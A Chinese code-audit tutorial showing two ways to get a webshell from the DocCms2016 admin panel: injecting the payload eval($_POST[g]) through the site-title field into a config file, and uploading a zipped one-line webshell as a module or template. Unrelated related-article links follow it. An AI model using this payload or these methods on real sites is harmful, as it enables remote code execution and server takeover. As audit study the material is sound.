【代码审计】后台Getshell的两种常规姿势
0x00 前言
在早些年刚接触web安全的时候,基础套路都是找注入--找后台--找上传点--找数据库备份--Getshell,然而在代码审计的角度,也存在类似的基本操作。
这里结合代码实例介绍白盒Getshell的两种常规姿势:写入配置文件Getshell、模块安装Getshell。
0x01 环境搭建
Doccms官网:http://www.doccms.com
程序源码:DocCms2016
下载地址:https://pan.baidu.com/s/1pLclifL
0x02 写入配置文件Getshell
代码分析:
1、在/admini/controllers/system/options.php,save函数通过一大串的表达式替换得到变量tempStr,然后调用了string2file函数写入配置文件,跟进这两个函数查看:
function save()
{
global $request;
if(filesize(ABSPATH.'/config/doc-config-'.$request['l'].'.php')>){
……
$tempStr = file2String(ABSPATH.'/config/doc-config-'.$request['l'].'.php');
$tempStr = preg_replace("/\('WEBOPEN',.*?\)/i","('WEBOPEN',".$request['webopen'].")",$tempStr);
$tempStr = preg_replace("/'WEBURL','.*?'/i","'WEBURL','".$request['weburl']."'",$tempStr);
$tempStr = preg_replace("/'MOBILEURL','.*?'/i","'MOBILEURL','".$request['mobileurl']."'",$tempStr);
$tempStr = preg_replace("/'WEBSIZE','.*?'/i","'WEBSIZE','".$request['websize']."'",$tempStr);
$tempStr = preg_replace("/'SITENAME','.*?'/i","'SITENAME','".$request['sitename']."'",$tempStr);
……
2、在/inc/function.php,第100-105行中,string2file函数,并未做任何处理,只是将字符串写入文件中:
function string2file($str,$filePath)
{
$fp=fopen($filePath,'w+');
fwrite($fp,$str);
fclose($fp);
}
综上,在表达式替换字符串的过程中,只是作为简单的字符串替换,并未做任何匹配限制,我们可以将构造好的代码写入配置中,导致程序在实现上存在代码执行漏洞。
漏洞利用:
1、 登录后台,在站点设置--基本设置--站点标题处,填写
Payload:test\');eval($_POST[g]);//

2、 成功写入全局配置文件doc-config-cn.php中:

3、直接访问http://127.0.0.1/config/doc-config-cn.php,显示403Forbidden,全局搜索 doc-config-cn.php,查找包含该文件的文件。

4、访问http://127.0.0.1/editor/keditor/php/upload_json.php,因此文件包含doc-config-cn.php,包含的代码执行漏洞被触发。

0x03 模块上传Getshell
代码分析:
function upload_model()
{
//把模版先暂时上传在系统根目录的TEMP文件夹里,解决safe_mode On时无法上传在环境文件夹下
//suny.2008.01.16
$upload = new Upload(,'/temp/');
$fileName = $upload->SaveFile('upfile');
if(is_file(ABSPATH.'/temp/'.$fileName))
{
del_dir(ABSPATH.UPLOADPATH.'temp/');
mkdirs(ABSPATH.UPLOADPATH.'temp/');
if(unzip(ABSPATH.UPLOADPATH.'temp/',ABSPATH.'/temp/'.$fileName,ABSPATH.'/temp/'.$fileName)==)
{
$doc = get_config_xmldoc('config');
exec_config($doc);
$doc = get_config_xmldoc('install');
exec_install($doc); redirect('?m=system&s=managemodel');
}
}
}
在模块上传的过程中,先删除temp目录中存在的所有文件,然后解压缩文件到temp目录下,我们可以上传一个压缩打包好的一句话木马,自动解压缩到temp目录下,获取webshell。
漏洞利用:
1、模块管理--安装模块--上传zip压缩文件--上传完成--自动解压upload\temp目录下 可getshell

2、成功将一句话木马,上传到temp目录下

另外,在其他功能中,也找到了类似的操作,如:
模板管理--上传模板--上传zip压缩文件--上传完成--自动解压\skins目录下,可getshell
0x04 END
如果手头拿到一套代码,想要了解如何去Getshell,除了上传点,那么这两种常规姿势是非常有效的,当然思路不局限,只是分享一个审计套路而已。
有朋自远方来,不亦乐乎?有对这方面有研究的童鞋,欢迎前来相互探讨,交流。
关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

【代码审计】后台Getshell的两种常规姿势的更多相关文章
- jQuery ajax调用后台aspx后台文件的两种常见方法(不是ashx)
在asp.net webForm开发中,用Jquery ajax调用aspx页面的方法常用的有两种:下面我来简单介绍一下. [WebMethod] public static string SayHe ...
- 菜鸟学习Spring——SpringMVC注解版前台向后台传值的两种方式
一.概述. 在很多企业的开法中常常用到SpringMVC+Spring+Hibernate(mybatis)这样的架构,SpringMVC相当于Struts是页面到Contorller直接的交互的框架 ...
- Extjs treePanel 后台Json的两种构建方法
public string json = ""; public string QueryMenuTreeJson(string ParentID, string userId) { ...
- 用直接路径(direct-path)insert提升性能的两种方法
1.传统串行insert方式 常见的insert方式有两种: (1) insert into table_name values(....) (2) insert into target_table ...
- 【漏洞复现】PHPmyadmin 4.8.1后台Getshell新姿势
原文地址:https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog 早上看到群里在讨论一个新姿势,phpmyadmin后台getshell,不同于以往需要知道 ...
- 【前台 ajax】web项目前台传递数组给后台 两种方式
项目使用maven springMVC 有需求 将前台的数组 在ajax中 送给后台 方式1: 前台代码:[注意:ajax中的属性---traditional:true, ] 如果Post ...
- thinkphp 的两种建构模式 第一种一个单入口里面定义两个模块,前台和后台,函数控制模块必须function.php前台加载前台模块的汉书配置文件,后台加载后台模块的汉书配置文件,公共文件共用。第二种架构模式两个单入口文件,分别生成两个应用定义define。。。函数可以定义配置文件。。。。
thinkphp 的两种建构模式 第一种一个单入口里面定义两个模块,前台和后台,函数控制模块必须function.php前台加载前台模块的汉书配置文件,后台加载后台模块的汉书配置文件,公共文件共用. ...
- 极光推送经验之谈-Java后台服务器实现极光推送的两种实现方式
原创作品,可以转载,但是请标注出处地址http://www.cnblogs.com/V1haoge/p/6439313.html Java后台实现极光推送有两种方式,一种是使用极光推送官方提供的推送请 ...
- springMVC中对HTTP请求form data和request payload两种数据发送块的后台接收方式
最近在做项目中发现,前台提交数据时,如果通过form表单提交和ajax发送json时,springMVC后台接收不能都通过@ModelAttribute方式处理,经过一番查找后,ajax发送json请 ...
随机推荐
- node学习笔记9——cookie,session相关操作
下面讲的都是基Express及相关的包.所以在实践本篇文章之前,通过npm安装好Express, cookie-parser, cookie-session这三个安装包. 先简单说一下,如何用Expr ...
- Android Custom View系列《圆形菜单一》
前言 自定义view能够做出很多不同寻常的效果,圆形菜单交互效果不错,目前网上有两个版本,虽然比较庞大,但非常值得研究与学习. radial-menu-widget: https://code.goo ...
- thinkphp 无限极分类的数据库设计及效果测试
控制器继承IndexAction.class.php <?php // 本类由系统自动生成,仅供测试用途 class IndexAction extends CateAction { } ?&g ...
- SAP+ 差旅报销集成方案的实现
跨国集团通常都会有一个财务共享中心SSC的集中处理业务部门,用于统计来自各个公司的差旅报销,而1).传统的OA审批 虽然审批流是优势存在着需要SAP数据二次录入,数据不同步等困难,2).如果终端用户都 ...
- android 8 wifi wifi 扫描过程
查看一下android wifi扫描的过程. packages\apps\Settings\src\com\android\settings\wifi\WifiSettings.java public ...
- 深入理解Java对象序列化
关于Java序列化的文章早已是汗牛充栋了,本文是对我个人过往学习,理解及应用Java序列化的一个总结.此文内容涉及Java序列化的基本原理,以及多种方法对序列化形式进行定制.在撰写本文时,既参考了Th ...
- adv7180驱动
http://download.csdn.net/download/u013308744/9945184 http://www.ebaina.com/bbs/thread-10121-1-1.html ...
- ckeditor4.2.1常用配置
常用的配置信息都放在根目录的config.js文件中,一些常用的配置项如下: 1.界面语言 //语言 config.language = 'zh-cn'; 2.字体添加中文 //字体 config.f ...
- 安装drools workbench
从drools官网下载tomcat7版本的Drools Tomcat 7+ WAR, Workbench,实际就是一个war包,需要严格按照里面的readme的要求,配置好tomcat才可以运行起来 ...
- 谈谈Android NDK中动态链接库(.so文件)的优化
做了不少NDK相关的工作,不知道别人有没有同样的困惑,经常在编译C/C++代码的时候会出一些error或者warning,然后在网上搜,发现在Android.mk或者Application.mk文件中 ...